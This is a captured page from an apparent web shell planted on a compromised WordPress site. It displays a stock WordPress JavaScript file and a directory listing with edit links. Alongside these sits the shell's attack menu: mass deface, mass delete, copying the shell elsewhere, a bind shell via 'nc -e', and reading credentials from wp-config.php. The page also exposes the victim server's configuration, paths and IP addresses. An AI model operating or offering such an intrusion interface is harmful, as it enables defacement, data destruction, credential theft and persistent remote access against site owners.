WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / allgaeuhuepfer / wp-includes / js / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/allgaeuhuepfer/wp-includes/js/customize-models.js (6.66 KB)
/**
 * @output wp-includes/js/customize-models.js
 */

/* global _wpCustomizeHeader */
(function( $, wp ) {
	var api = wp.customize;
	/** @namespace wp.customize.HeaderTool */
	api.HeaderTool = {};


	/**
	 * wp.customize.HeaderTool.ImageModel
	 *
	 * A header image. This is where saves via the Customizer API are
	 * abstracted away, plus our own Ajax calls to add images to and remove
	 * images from the user's recently uploaded images setting on the server.
	 * These calls are made regardless of whether the user actually saves new
	 * Customizer settings.
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ImageModel
	 *
	 * @constructor
	 * @augments Backbone.Model
	 */
	api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
		defaults: function() {
			return {
				header: {
					attachment_id: 0,
					url: '',
					timestamp: _.now(),
					thumbnail_url: ''
				},
				choice: '',
				selected: false,
				random: false
			};
		},

		initialize: function() {
			this.on('hide', this.hide, this);
		},

		hide: function() {
			this.set('choice', '');
			api('header_image').set('remove-header');
			api('header_image_data').set('remove-header');
		},

		destroy: function() {
			var data = this.get('header'),
				curr = api.HeaderTool.currentHeader.get('header').attachment_id;

			// If the image we're removing is also the current header,
			// unset the latter.
			if (curr && data.attachment_id === curr) {
				api.HeaderTool.currentHeader.trigger('hide');
			}

			wp.ajax.post( 'custom-header-remove', {
				nonce: _wpCustomizeHeader.nonces.remove,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			});

			this.trigger('destroy', this, this.collection);
		},

		save: function() {
			if (this.get('random')) {
				api('header_image').set(this.get('header').random);
				api('header_image_data').set(this.get('header').random);
			} else {
				if (this.get('header').defaultName) {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header').defaultName);
				} else {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header'));
				}
			}

			api.HeaderTool.combinedList.trigger('control:setImage', this);
		},

		importImage: function() {
			var data = this.get('header');
			if (data.attachment_id === undefined) {
				return;
			}

			wp.ajax.post( 'custom-header-add', {
				nonce: _wpCustomizeHeader.nonces.add,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			} );
		},

		shouldBeCropped: function() {
			if (this.get('themeFlexWidth') === true &&
						this.get('themeFlexHeight') === true) {
				return false;
			}

			if (this.get('themeFlexWidth') === true &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('themeFlexHeight') === true &&
				this.get('themeWidth') === this.get('imageWidth')) {
				return false;
			}

			if (this.get('themeWidth') === this.get('imageWidth') &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('imageWidth') <= this.get('themeWidth')) {
				return false;
			}

			return true;
		}
	});


	/**
	 * wp.customize.HeaderTool.ChoiceList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ChoiceList
	 *
	 * @constructor
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.ChoiceList = Backbone.Collection.extend({
		model: api.HeaderTool.ImageModel,

		// Ordered from most recently used to least.
		comparator: function(model) {
			return -model.get('header').timestamp;
		},

		initialize: function() {
			var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
				isRandom = this.isRandomChoice(api.get().header_image);

			// Overridable by an extending class.
			if (!this.type) {
				this.type = 'uploaded';
			}

			// Overridable by an extending class.
			if (typeof this.data === 'undefined') {
				this.data = _wpCustomizeHeader.uploads;
			}

			if (isRandom) {
				// So that when adding data we don't hide regular images.
				current = api.get().header_image;
			}

			this.on('control:setImage', this.setImage, this);
			this.on('control:removeImage', this.removeImage, this);
			this.on('add', this.maybeRemoveOldCrop, this);
			this.on('add', this.maybeAddRandomChoice, this);

			_.each(this.data, function(elt, index) {
				if (!elt.attachment_id) {
					elt.defaultName = index;
				}

				if (typeof elt.timestamp === 'undefined') {
					elt.timestamp = 0;
				}

				this.add({
					header: elt,
					choice: elt.url.split('/').pop(),
					selected: current === elt.url.replace(/^https?:\/\//, '')
				}, { silent: true });
			}, this);

			if (this.size() > 0) {
				this.addRandomChoice(current);
			}
		},

		maybeRemoveOldCrop: function( model ) {
			var newID = model.get( 'header' ).attachment_id || false,
			 	oldCrop;

			// Bail early if we don't have a new attachment ID.
			if ( ! newID ) {
				return;
			}

			oldCrop = this.find( function( item ) {
				return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
			} );

			// If we found an old crop, remove it from the collection.
			if ( oldCrop ) {
				this.remove( oldCrop );
			}
		},

		maybeAddRandomChoice: function() {
			if (this.size() === 1) {
				this.addRandomChoice();
			}
		},

		addRandomChoice: function(initialChoice) {
			var isRandomSameType = RegExp(this.type).test(initialChoice),
				randomChoice = 'random-' + this.type + '-image';

			this.add({
				header: {
					timestamp: 0,
					random: randomChoice,
					width: 245,
					height: 41
				},
				choice: randomChoice,
				random: true,
				selected: isRandomSameType
			});
		},

		isRandomChoice: function(choice) {
			return (/^random-(uploaded|default)-image$/).test(choice);
		},

		shouldHideTitle: function() {
			return this.size() < 2;
		},

		setImage: function(model) {
			this.each(function(m) {
				m.set('selected', false);
			});

			if (model) {
				model.set('selected', true);
			}
		},

		removeImage: function() {
			this.each(function(m) {
				m.set('selected', false);
			});
		}
	});


	/**
	 * wp.customize.HeaderTool.DefaultsList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.DefaultsList
	 *
	 * @constructor
	 * @augments wp.customize.HeaderTool.ChoiceList
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
		initialize: function() {
			this.type = 'default';
			this.data = _wpCustomizeHeader.defaults;
			api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
		}
	});

})( jQuery, window.wp );
namawaktuukuranownerpermaksi
..
codemirror/ 2026-02-23 19:411.23 MB 76129f60960:kundendxwrx-rx-r
crop/ 2026-02-23 19:4119.54 KB 76129f60960:kundendxwrx-rx-r
dist/ 2026-02-23 19:4121.58 MB 76129f60960:kundendxwrx-rx-r
imgareaselect/ 2026-02-23 19:4148.39 KB 76129f60960:kundendxwrx-rx-r
jcrop/ 2026-02-23 19:4124.39 KB 76129f60960:kundendxwrx-rx-r
jquery/ 2026-02-23 19:411.24 MB 76129f60960:kundendxwrx-rx-r
mediaelement/ 2026-02-23 19:41704.4 KB 76129f60960:kundendxwrx-rx-r
plupload/ 2026-02-23 19:41479.45 KB 76129f60960:kundendxwrx-rx-r
swfupload/ 2026-02-23 19:410 B 76129f60960:kundendxwrx-rx-r
thickbox/ 2026-02-23 19:4130.6 KB 76129f60960:kundendxwrx-rx-r
tinymce/ 2026-02-23 19:412.72 MB 76129f60960:kundendxwrx-rx-r
admin-bar.js 2026-02-23 19:4110.3 KB 76129f60960:kunden-xw-x-----
edt
admin-bar.min.js 2026-02-23 19:413.41 KB 76129f60960:kunden-xw-x-----
edt
api-request.js 2026-02-23 19:413.25 KB 76129f60960:kunden-xw-x-----
edt
api-request.min.js 2026-02-23 19:411023 B 76129f60960:kunden-xw-x-----
edt
autosave.js 2026-02-23 19:4121.95 KB 76129f60960:kunden-xw-x-----
edt
autosave.min.js 2026-02-23 19:415.67 KB 76129f60960:kunden-xw-x-----
edt
backbone.js 2026-02-23 19:4178.51 KB 76129f60960:kunden-xw-x-----
edt
backbone.min.js 2026-02-23 19:4123.73 KB 76129f60960:kunden-xw-x-----
edt
clipboard.js 2026-02-23 19:4126.18 KB 76129f60960:kunden-xw-x-----
edt
clipboard.min.js 2026-02-23 19:418.8 KB 76129f60960:kunden-xw-x-----
edt
colorpicker.js 2026-02-23 19:4128.4 KB 76129f60960:kunden-xw-x-----
edt
colorpicker.min.js 2026-02-23 19:4116.11 KB 76129f60960:kunden-xw-x-----
edt
comment-reply.js 2026-02-23 19:4112.22 KB 76129f60960:kunden-xw-x-----
edt
comment-reply.min.js 2026-02-23 19:412.96 KB 76129f60960:kunden-xw-x-----
edt
customize-base.js 2026-02-23 19:4125.22 KB 76129f60960:kunden-xw-x-----
edt
customize-base.min.js 2026-02-23 19:417.67 KB 76129f60960:kunden-xw-x-----
edt
customize-loader.js 2026-02-23 19:417.72 KB 76129f60960:kunden-xw-x-----
edt
customize-loader.min.js 2026-02-23 19:413.47 KB 76129f60960:kunden-xw-x-----
edt
customize-models.js 2026-02-23 19:416.66 KB 76129f60960:kunden-xw-x-----
edt
customize-models.min.js 2026-02-23 19:413.59 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-nav-menus.js 2026-02-23 19:4114.67 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-nav-menus.min.js 2026-02-23 19:414.92 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-widgets.js 2026-02-23 19:4122.71 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-widgets.min.js 2026-02-23 19:417.64 KB 76129f60960:kunden-xw-x-----
edt
customize-preview.js 2026-02-23 19:4127.93 KB 76129f60960:kunden-xw-x-----
edt
customize-preview.min.js 2026-02-23 19:4110.75 KB 76129f60960:kunden-xw-x-----
edt
customize-selective-refresh.js 2026-02-23 19:4132.55 KB 76129f60960:kunden-xw-x-----
edt
customize-selective-refresh.min.js 2026-02-23 19:4110.44 KB 76129f60960:kunden-xw-x-----
edt
customize-views.js 2026-02-23 19:415.1 KB 76129f60960:kunden-xw-x-----
edt
customize-views.min.js 2026-02-23 19:412.51 KB 76129f60960:kunden-xw-x-----
edt
heartbeat.js 2026-02-23 19:4123.49 KB 76129f60960:kunden-xw-x-----
edt
heartbeat.min.js 2026-02-23 19:415.81 KB 76129f60960:kunden-xw-x-----
edt
hoverIntent.js 2026-02-23 19:417.06 KB 76129f60960:kunden-xw-x-----
edt
hoverIntent.min.js 2026-02-23 19:411.46 KB 76129f60960:kunden-xw-x-----
edt
hoverintent-js.min.js 2026-02-23 19:411.68 KB 76129f60960:kunden-xw-x-----
edt
imagesloaded.min.js 2026-02-23 19:415.39 KB 76129f60960:kunden-xw-x-----
edt
json2.js 2026-02-23 19:4131 B 76129f60960:kunden-xw-x-----
edt
json2.min.js 2026-02-23 19:4135 B 76129f60960:kunden-xw-x-----
edt
masonry.min.js 2026-02-23 19:4123.57 KB 76129f60960:kunden-xw-x-----
edt
mce-view.js 2026-02-23 19:4125.24 KB 76129f60960:kunden-xw-x-----
edt
mce-view.min.js 2026-02-23 19:419.54 KB 76129f60960:kunden-xw-x-----
edt
media-audiovideo.js 2026-02-23 19:4124.24 KB 76129f60960:kunden-xw-x-----
edt
media-audiovideo.min.js 2026-02-23 19:4111.77 KB 76129f60960:kunden-xw-x-----
edt
media-editor.js 2026-02-23 19:4128.44 KB 76129f60960:kunden-xw-x-----
edt
media-editor.min.js 2026-02-23 19:4110.63 KB 76129f60960:kunden-xw-x-----
edt
media-grid.js 2026-02-23 19:4126.15 KB 76129f60960:kunden-xw-x-----
edt
media-grid.min.js 2026-02-23 19:4112.98 KB 76129f60960:kunden-xw-x-----
edt
media-models.js 2026-02-23 19:4142.58 KB 76129f60960:kunden-xw-x-----
edt
media-models.min.js 2026-02-23 19:4112.97 KB 76129f60960:kunden-xw-x-----
edt
media-views.js 2026-02-23 19:41266.99 KB 76129f60960:kunden-xw-x-----
edt
media-views.min.js 2026-02-23 19:41108.18 KB 76129f60960:kunden-xw-x-----
edt
quicktags.js 2026-02-23 19:4122.07 KB 76129f60960:kunden-xw-x-----
edt
quicktags.min.js 2026-02-23 19:4110.87 KB 76129f60960:kunden-xw-x-----
edt
shortcode.js 2026-02-23 19:4110.51 KB 76129f60960:kunden-xw-x-----
edt
shortcode.min.js 2026-02-23 19:412.58 KB 76129f60960:kunden-xw-x-----
edt
swfobject.js 2026-02-23 19:410 B 76129f60960:kunden-xw-x-----
edt
swfobject.min.js 2026-02-23 19:4135 B 76129f60960:kunden-xw-x-----
edt
tw-sack.js 2026-02-23 19:414.85 KB 76129f60960:kunden-xw-x-----
edt
tw-sack.min.js 2026-02-23 19:413.21 KB 76129f60960:kunden-xw-x-----
edt
twemoji.js 2026-02-23 19:4136.32 KB 76129f60960:kunden-xw-x-----
edt
twemoji.min.js 2026-02-23 19:4119.39 KB 76129f60960:kunden-xw-x-----
edt
underscore.js 2026-02-23 19:4167.12 KB 76129f60960:kunden-xw-x-----
edt
underscore.min.js 2026-02-23 19:4118.46 KB 76129f60960:kunden-xw-x-----
edt
utils.js 2026-02-23 19:414.56 KB 76129f60960:kunden-xw-x-----
edt
utils.min.js 2026-02-23 19:411.82 KB 76129f60960:kunden-xw-x-----
edt
wp-ajax-response.js 2026-02-23 19:413.81 KB 76129f60960:kunden-xw-x-----
edt
wp-ajax-response.min.js 2026-02-23 19:412.51 KB 76129f60960:kunden-xw-x-----
edt
wp-api.js 2026-02-23 19:4145.88 KB 76129f60960:kunden-xw-x-----
edt
wp-api.min.js 2026-02-23 19:4114.34 KB 76129f60960:kunden-xw-x-----
edt
wp-auth-check.js 2026-02-23 19:414.11 KB 76129f60960:kunden-xw-x-----
edt
wp-auth-check.min.js 2026-02-23 19:411.62 KB 76129f60960:kunden-xw-x-----
edt
wp-backbone.js 2026-02-23 19:4114.88 KB 76129f60960:kunden-xw-x-----
edt
wp-backbone.min.js 2026-02-23 19:412.97 KB 76129f60960:kunden-xw-x-----
edt
wp-custom-header.js 2026-02-23 19:4110.22 KB 76129f60960:kunden-xw-x-----
edt
wp-custom-header.min.js 2026-02-23 19:414.34 KB 76129f60960:kunden-xw-x-----
edt
wp-embed-template.js 2026-02-23 19:416.62 KB 76129f60960:kunden-xw-x-----
edt
wp-embed-template.min.js 2026-02-23 19:413.1 KB 76129f60960:kunden-xw-x-----
edt
wp-embed.js 2026-02-23 19:413.14 KB 76129f60960:kunden-xw-x-----
edt
wp-embed.min.js 2026-02-23 19:411.22 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji-loader.js 2026-02-23 19:4112.89 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji-loader.min.js 2026-02-23 19:412.82 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji-release.min.js 2026-02-23 19:4122.23 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji.js 2026-02-23 19:418.59 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji.min.js 2026-02-23 19:412.79 KB 76129f60960:kunden-xw-x-----
edt
wp-list-revisions.js 2026-02-23 19:41970 B 76129f60960:kunden-xw-x-----
edt
wp-list-revisions.min.js 2026-02-23 19:41597 B 76129f60960:kunden-xw-x-----
edt
wp-lists.js 2026-02-23 19:4124.72 KB 76129f60960:kunden-xw-x-----
edt
wp-lists.min.js 2026-02-23 19:417.34 KB 76129f60960:kunden-xw-x-----
edt
wp-pointer.js 2026-02-23 19:419.99 KB 76129f60960:kunden-xw-x-----
edt
wp-pointer.min.js 2026-02-23 19:413.54 KB 76129f60960:kunden-xw-x-----
edt
wp-sanitize.js 2026-02-23 19:411.3 KB 76129f60960:kunden-xw-x-----
edt
wp-sanitize.min.js 2026-02-23 19:41444 B 76129f60960:kunden-xw-x-----
edt
wp-util.js 2026-02-23 19:414.57 KB 76129f60960:kunden-xw-x-----
edt
wp-util.min.js 2026-02-23 19:411.39 KB 76129f60960:kunden-xw-x-----
edt
wpdialog.js 2026-02-23 19:41569 B 76129f60960:kunden-xw-x-----
edt
wpdialog.min.js 2026-02-23 19:41281 B 76129f60960:kunden-xw-x-----
edt
wplink.js 2026-02-23 19:4120.74 KB 76129f60960:kunden-xw-x-----
edt
wplink.min.js 2026-02-23 19:4111.05 KB 76129f60960:kunden-xw-x-----
edt
zxcvbn-async.js 2026-02-23 19:41821 B 76129f60960:kunden-xw-x-----
edt
zxcvbn-async.min.js 2026-02-23 19:41351 B 76129f60960:kunden-xw-x-----
edt
zxcvbn.min.js 2026-02-23 19:41802.97 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/allgaeuhuepfer/wp-includes/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK